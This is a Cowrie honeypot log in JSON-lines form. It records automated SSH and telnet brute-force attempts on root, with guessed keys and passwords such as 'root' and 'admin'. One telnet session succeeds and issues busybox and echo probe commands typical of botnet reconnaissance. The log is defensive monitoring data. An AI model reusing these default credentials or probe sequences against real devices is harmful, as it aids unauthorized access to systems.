{"eventid":"cowrie.login.failed","username":"root","fingerprint":"62:2b:36:d5:e5:11:4d:04:b4:88:39:4b:21:f6:12:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCi1hgAQapgKHOggBHdBcHEwi88u/598Ejl9XItNhr0USzVKDzmuhCypYrsSqj8TOafVaj6MbyuIsDei+JCTR+by5K7suFQVNPftqpPy8Xexy0pFfKDhKccZ5TmrVg4a4srZP3zHet1MdTLDoL8LKQzP2jb6kgtOdS+3r8sYFQqgKYKXI4TegdwdzzPhc40ca4POcidp5r5zOoagJpMywmFgydO+cSRxEG9Ga0nZsLTb2csNcCNO2nLMgIfTB5UvupXmYiKH1VFFeAP/KG1M5x0lhvqE4wYrctOfbWMCKkQZoK2vivYJB36EUz6l+pZzlFPFtIQuvXksdFnH1AOS/j","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:04:30.334938Z","src_ip":"23.239.96.154","session":"3fefd9208301","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7f:ca:f0:38:35:03:7f:6a:7f:23:26:7e:b6:ad:40:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDB8NVbJ3BAZcBDgW1xwMEM9dFqnqXVzEweR3o9C1i+6rij6THMRizN51ar8QMutu1j7ZO4B6i2dsGEwvysi4oEyU8uMf38Api+KYQvHkz5P0VZ1JOYLRBMQXVONMBDer82w7TUQn6JK7vGte+lVEGe4PvFy9RnFGVELw5K/6LDf8rR9YS0GSGz1YkCJZoWYKOqZ319HFavR0O1mMN7tvKHTCZa3lHxE9j6zx6WtNlVSE7AFZ66ME+YN3Qpj36VHQgIIPjDABH7cg+wlJCu/WZOfyH3iNHp7K75TBz/Q4BHyKiCaLX+pxse6Gckd5rFi8O9AOd2UMHKmO318JUn1cGgHHZ3sFLs/l7kcooh0gP49xbM34Y8rHy0fcqumZwEPowCoXevOIxrNEI4jUSjmOWTyL5XTgoUUpFqkC+dmy//zX9jdDoDnEh5gNg73RwBSBnc+nZ+ld0inJO3ti3qYValPQKmCMN23W55ZqBWTXzeeOBuCRlayaPK8QskmFh92ZiBZE3/p8oZEdquRqkkYapcZYl75h6iN1RTGXlfwd2NLa/fpM11e8uecRtqXZEFzfd5IGYbQowPj6FGV1+2sNUYhp53yp4N84sv1imIE1y+XrivxlmMH+EgDS52W88aUlW4zbILBZnLiwEjVhSc1QX/5OvLm+Bblevr7480qI4HvQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7f:ca:f0:38:35:03:7f:6a:7f:23:26:7e:b6:ad:40:0e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:04:30.395283Z","src_ip":"23.239.96.154","session":"3fefd9208301","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7f:ca:f0:38:35:03:7f:6a:7f:23:26:7e:b6:ad:40:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDB8NVbJ3BAZcBDgW1xwMEM9dFqnqXVzEweR3o9C1i+6rij6THMRizN51ar8QMutu1j7ZO4B6i2dsGEwvysi4oEyU8uMf38Api+KYQvHkz5P0VZ1JOYLRBMQXVONMBDer82w7TUQn6JK7vGte+lVEGe4PvFy9RnFGVELw5K/6LDf8rR9YS0GSGz1YkCJZoWYKOqZ319HFavR0O1mMN7tvKHTCZa3lHxE9j6zx6WtNlVSE7AFZ66ME+YN3Qpj36VHQgIIPjDABH7cg+wlJCu/WZOfyH3iNHp7K75TBz/Q4BHyKiCaLX+pxse6Gckd5rFi8O9AOd2UMHKmO318JUn1cGgHHZ3sFLs/l7kcooh0gP49xbM34Y8rHy0fcqumZwEPowCoXevOIxrNEI4jUSjmOWTyL5XTgoUUpFqkC+dmy//zX9jdDoDnEh5gNg73RwBSBnc+nZ+ld0inJO3ti3qYValPQKmCMN23W55ZqBWTXzeeOBuCRlayaPK8QskmFh92ZiBZE3/p8oZEdquRqkkYapcZYl75h6iN1RTGXlfwd2NLa/fpM11e8uecRtqXZEFzfd5IGYbQowPj6FGV1+2sNUYhp53yp4N84sv1imIE1y+XrivxlmMH+EgDS52W88aUlW4zbILBZnLiwEjVhSc1QX/5OvLm+Bblevr7480qI4HvQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:04:30.402535Z","src_ip":"23.239.96.154","session":"3fefd9208301","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9f:dd:eb:7d:94:e1:da:28:9d:b4:fb:f7:f1:da:44:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqDNF+1h3VrvFmTD9/guyHxNAK4hxfgDq2g6UQ4rvk+PkFasnE12pDC/GSS09fTGZWULT12N+rr+5h5vkA8Owd9zQ2Q6xXnBYiNh2TwZpVkLn1YTfuEiRjgD9DsnXMaCmannfcuvJgsjLr16AhGHRjtM0g2vlcVM9tlQlkK00hTYbZmBkGfRCmrbIAAhDkIrG7rdANQnm6i4NXtjRn1RkmV9vhGMGpz4HKIlcpnhEg6O9cjeOIZRMYkaAYt7jOmVSntRcu9U1Mp0VobXWrpzaB3Vnnm4pWh5oWfNjTaEosLK1DETx7al0gTFiY4M7aTEu5YNQbV+QMfSSAm/jpB2/v","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9f:dd:eb:7d:94:e1:da:28:9d:b4:fb:f7:f1:da:44:64","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:04:30.463454Z","src_ip":"23.239.96.154","session":"3fefd9208301","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9f:dd:eb:7d:94:e1:da:28:9d:b4:fb:f7:f1:da:44:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqDNF+1h3VrvFmTD9/guyHxNAK4hxfgDq2g6UQ4rvk+PkFasnE12pDC/GSS09fTGZWULT12N+rr+5h5vkA8Owd9zQ2Q6xXnBYiNh2TwZpVkLn1YTfuEiRjgD9DsnXMaCmannfcuvJgsjLr16AhGHRjtM0g2vlcVM9tlQlkK00hTYbZmBkGfRCmrbIAAhDkIrG7rdANQnm6i4NXtjRn1RkmV9vhGMGpz4HKIlcpnhEg6O9cjeOIZRMYkaAYt7jOmVSntRcu9U1Mp0VobXWrpzaB3Vnnm4pWh5oWfNjTaEosLK1DETx7al0gTFiY4M7aTEu5YNQbV+QMfSSAm/jpB2/v","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:04:30.467773Z","src_ip":"23.239.96.154","session":"3fefd9208301","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.152","src_port":47338,"dst_ip":"159.203.135.109","dst_port":22,"session":"8efbc1ccfdf5","protocol":"ssh","message":"New connection: 45.148.10.152:47338 (159.203.135.109:22) [session: 8efbc1ccfdf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:04:30.521536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:04:30.526250Z","src_ip":"45.148.10.152","session":"8efbc1ccfdf5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"84:15:5d:5b:3b:67:11:ae:9a:a3:2d:26:d7:21:16:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2m4Utt59LfSM0GKb30iDVRsmsvncYOOt0xBXrWxpFFTXBI4D+OAfmrikdYCplnfNrTNQAZM9cwiwuZW61/ofkhXj7iSPlx01JCP/sg7VP6sC2ZJL2NARtzWLdEMhtoirRSIBrNkayyIQ/63domxpoPjGtrigDV0RxDEa9lSXY681Kg4WDOL/RkM0M3Ca4/SyVhDhLIVODXWhRekOrTwNlxe567K1bGMAug/PGvcViRE1Uy0wi0utoLjsewwlRNnGgK65TTiZDvW6jSxF0ZJOoxqN/u32XH2Gqe127LaLCvxKSp6R6LHx0EIRlhTtKOiS5h/ggg0Qm1JMfSI3geIIr3/K8TxN5+N6kk3EdNnRVgaF0lkZNiEByWtkT5chw+KJ11PI8IVAHjiQJ/wFKRSwr30LhXreLxnyEYD3e58t+M0wUmgbQWwh/P6IKE99IMWP7ckO4rv1onEZ4oarBn3U2Xn4RYQIjz0xSZvdScTQnUpBpshQqf1M7mbKPLNegeYTvJJepJeM0IFtSS/Rx1827jY1IPhqb+NrdbLfZTXRX7x2/r5Jd4XCVa7Pae3QK4v1lO5l321M2IM7sGdnedurqLYr60WsRVV8c+S4sUCrJxSCkzltgjbW2qCZhV8FlJDbF6LbIlZUnEqSJiMBKCfrhiLADL/bmOT7subHNwQ5JXw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 84:15:5d:5b:3b:67:11:ae:9a:a3:2d:26:d7:21:16:2e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:04:30.531445Z","src_ip":"23.239.96.154","session":"3fefd9208301","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"84:15:5d:5b:3b:67:11:ae:9a:a3:2d:26:d7:21:16:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2m4Utt59LfSM0GKb30iDVRsmsvncYOOt0xBXrWxpFFTXBI4D+OAfmrikdYCplnfNrTNQAZM9cwiwuZW61/ofkhXj7iSPlx01JCP/sg7VP6sC2ZJL2NARtzWLdEMhtoirRSIBrNkayyIQ/63domxpoPjGtrigDV0RxDEa9lSXY681Kg4WDOL/RkM0M3Ca4/SyVhDhLIVODXWhRekOrTwNlxe567K1bGMAug/PGvcViRE1Uy0wi0utoLjsewwlRNnGgK65TTiZDvW6jSxF0ZJOoxqN/u32XH2Gqe127LaLCvxKSp6R6LHx0EIRlhTtKOiS5h/ggg0Qm1JMfSI3geIIr3/K8TxN5+N6kk3EdNnRVgaF0lkZNiEByWtkT5chw+KJ11PI8IVAHjiQJ/wFKRSwr30LhXreLxnyEYD3e58t+M0wUmgbQWwh/P6IKE99IMWP7ckO4rv1onEZ4oarBn3U2Xn4RYQIjz0xSZvdScTQnUpBpshQqf1M7mbKPLNegeYTvJJepJeM0IFtSS/Rx1827jY1IPhqb+NrdbLfZTXRX7x2/r5Jd4XCVa7Pae3QK4v1lO5l321M2IM7sGdnedurqLYr60WsRVV8c+S4sUCrJxSCkzltgjbW2qCZhV8FlJDbF6LbIlZUnEqSJiMBKCfrhiLADL/bmOT7subHNwQ5JXw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:04:30.534490Z","src_ip":"23.239.96.154","session":"3fefd9208301","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ac:f1:1d:37:9b:23:4b:45:b7:fd:82:18:4a:b6:58:d3","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMc0LTJZXQNT++9vGqHyUrLKBodqfLSRMXWLItatBipw","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint ac:f1:1d:37:9b:23:4b:45:b7:fd:82:18:4a:b6:58:d3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:04:30.598156Z","src_ip":"23.239.96.154","session":"3fefd9208301","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ac:f1:1d:37:9b:23:4b:45:b7:fd:82:18:4a:b6:58:d3","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMc0LTJZXQNT++9vGqHyUrLKBodqfLSRMXWLItatBipw","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:04:30.602312Z","src_ip":"23.239.96.154","session":"3fefd9208301","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:04:30.618530Z","src_ip":"45.148.10.152","session":"8efbc1ccfdf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:04:30.661745Z","src_ip":"23.239.96.154","session":"3fefd9208301","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:04:31.019321Z","src_ip":"45.148.10.152","session":"8efbc1ccfdf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:04:31.371285Z","src_ip":"103.122.221.179","session":"38532cfb8292","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.6335871219635,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:04:47.301818Z","src_ip":"94.23.66.112","session":"8a313cafea68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.124.208.70","src_port":55154,"dst_ip":"10.17.0.5","dst_port":22,"session":"9bd04ebd9adc","protocol":"ssh","message":"New connection: 34.124.208.70:55154 (10.17.0.5:22) [session: 9bd04ebd9adc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:05:13.790107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:05:13.794123Z","src_ip":"34.124.208.70","session":"9bd04ebd9adc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:05:14.020990Z","src_ip":"34.124.208.70","session":"9bd04ebd9adc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Insideafrica","message":"login attempt [root/1Insideafrica] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:05:14.704044Z","src_ip":"34.124.208.70","session":"9bd04ebd9adc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:05:15.933970Z","src_ip":"34.124.208.70","session":"9bd04ebd9adc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.207.110","src_port":59860,"dst_ip":"10.17.0.5","dst_port":22,"session":"12737ec6ed7a","protocol":"ssh","message":"New connection: 45.79.207.110:59860 (10.17.0.5:22) [session: 12737ec6ed7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:05:25.221204Z"}
{"eventid":"cowrie.client.version","version":"","message":"Remote SSH version: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:05:25.225414Z","src_ip":"45.79.207.110","session":"12737ec6ed7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:05:25.243698Z","src_ip":"45.79.207.110","session":"12737ec6ed7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":86.90955209732056,"message":"Connection lost after 86 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:05:29.359071Z","src_ip":"94.23.66.112","session":"a68416f55a09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.99","src_port":33372,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fc0842e1538","protocol":"telnet","message":"New connection: 176.65.139.99:33372 (10.17.0.5:23) [session: 8fc0842e1538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:05:33.720416Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.227.254.170","src_port":63542,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff5d8a0c6fb0","protocol":"ssh","message":"New connection: 45.227.254.170:63542 (10.17.0.5:22) [session: ff5d8a0c6fb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:05:34.401397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:05:34.405987Z","src_ip":"45.227.254.170","session":"ff5d8a0c6fb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:05:34.514456Z","src_ip":"45.227.254.170","session":"ff5d8a0c6fb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":0.8162021636962891,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:05:34.536477Z","src_ip":"176.65.139.99","session":"8fc0842e1538","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.99","src_port":33386,"dst_ip":"10.17.0.5","dst_port":23,"session":"01200588bad2","protocol":"telnet","message":"New connection: 176.65.139.99:33386 (10.17.0.5:23) [session: 01200588bad2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:05:34.833352Z"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:05:34.971099Z","src_ip":"45.227.254.170","session":"ff5d8a0c6fb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"","message":"login attempt [root/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:05:36.217066Z","src_ip":"176.65.139.99","session":"01200588bad2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.3890202045440674,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:05:37.222215Z","src_ip":"176.65.139.99","session":"01200588bad2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.99","src_port":40844,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdbf4ba5d279","protocol":"telnet","message":"New connection: 176.65.139.99:40844 (10.17.0.5:23) [session: bdbf4ba5d279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:05:37.299910Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:05:38.733279Z","src_ip":"176.65.139.99","session":"bdbf4ba5d279","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.4381816387176514,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:05:39.737954Z","src_ip":"176.65.139.99","session":"bdbf4ba5d279","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.99","src_port":40854,"dst_ip":"10.17.0.5","dst_port":23,"session":"473f20c76d81","protocol":"telnet","message":"New connection: 176.65.139.99:40854 (10.17.0.5:23) [session: 473f20c76d81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:05:39.815411Z"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:05:40.401929Z","src_ip":"176.65.139.99","session":"473f20c76d81","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:05:40.447665Z","src_ip":"176.65.139.99","session":"473f20c76d81","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"echo SHELL_TEST","message":"CMD: echo SHELL_TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:05:41.402162Z","src_ip":"176.65.139.99","session":"473f20c76d81","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"echo ALIVE_CHECK","message":"CMD: echo ALIVE_CHECK","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:05:42.627658Z","src_ip":"176.65.139.99","session":"473f20c76d81","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"/bin/busybox TEST 2>&1","message":"CMD: /bin/busybox TEST 2>&1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:05:43.230960Z","src_ip":"176.65.139.99","session":"473f20c76d81","protocol":"telnet"}
